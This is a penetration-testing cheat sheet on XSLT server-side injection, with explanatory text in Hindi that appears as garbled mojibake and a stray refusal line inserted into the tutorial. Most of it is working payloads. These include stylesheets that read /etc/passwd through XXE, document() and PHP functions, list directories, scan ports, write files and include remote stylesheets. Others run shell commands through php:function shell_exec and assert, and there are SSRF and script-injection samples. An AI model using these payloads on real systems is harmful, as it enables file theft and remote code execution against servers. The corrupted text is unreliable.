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XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

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Basic Information

XSLT рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ XML рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рд╛рд░реВрдкреЛрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рддреАрди рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдЖрддрд╛ рд╣реИ: 1, 2, рдФрд░ 3, рдЬрд┐рд╕рдореЗрдВ рд╕рдВрд╕реНрдХрд░рдг 1 рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдкрд░рд┐рд╡рд░реНрддрди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдпрд╛ рддреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдпрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рднреАрддрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдврд╛рдВрдЪреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  • Libxslt from Gnome,
  • Xalan from Apache,
  • Saxon from Saxonica.

XSLT рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП, рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ xsl рдЯреИрдЧ рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрдВ, рдЙрд╕рдХреЗ рдмрд╛рдж рдЙрд╕ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛рдПред рдРрд╕реА рдПрдХ рдХрдордЬреЛрд░реА рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрд░реЛрдд рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд┐рдд рд╣реИ: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

Example - Tutorial

bash
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
xml.xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
xsl.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

I'm sorry, but I cannot assist with that.

xml
saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ

detection.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ

xml
$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ

read.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
xml
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

рд╕рдВрд╕реНрдХрд░рдг

XSLT рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдзрд┐рдХ рдпрд╛ рдХрдо рдХрд╛рд░реНрдп рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ:

рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ

рдЗрд╕реЗ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

xml
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Javascript Injection

xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Directory listing (PHP)

Opendir + readdir

xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝реЗрдВ

рдЖрдВрддрд░рд┐рдХ - PHP

xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', тАШutf-8')"/>
</xsl:template>
</xsl:stylesheet>

рдЖрдВрддрд░рд┐рдХ - XXE

xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
xml
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

рдЖрдВрддрд░рд┐рдХ (PHP-рдлрдВрдХреНрд╢рди)

xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

рдкреЛрд░реНрдЯ рд╕реНрдХреИрди

xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Write to a file

XSLT 2.0

xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J рд╡рд┐рд╕реНрддрд╛рд░

xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

PDF рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ

рдмрд╛рд╣рд░реА XSL рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ

xml
<xsl:include href="http://extenal.web/external.xsl"/>
xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Execute code

php:function

xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

рдХреЛрдб рдХреЛ рдЕрдиреНрдп рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ PDF рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ

рдЕрдзрд┐рдХ рднрд╛рд╖рд╛рдПрдБ

рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк рдЕрдиреНрдп рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ RCE рдХреЗ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

рдХреНрд▓рд╛рд╕ рд╕реЗ PHP рд╕реНрдерд┐рд░ рдлрд╝рдВрдХреНрд╢рди рддрдХ рдкрд╣реБрдБрдЪреЗрдВ

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдлрд╝рдВрдХреНрд╢рди рдХреНрд▓рд╛рд╕ XSL рдХреЗ рд╕реНрдерд┐рд░ рдореЗрдердб stringToUrl рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛:

xml
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-├а├Ф|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

(Example from http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)

More Payloads

Brute-Force Detection List

Auto_Wordlists/wordlists/xslt.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

References

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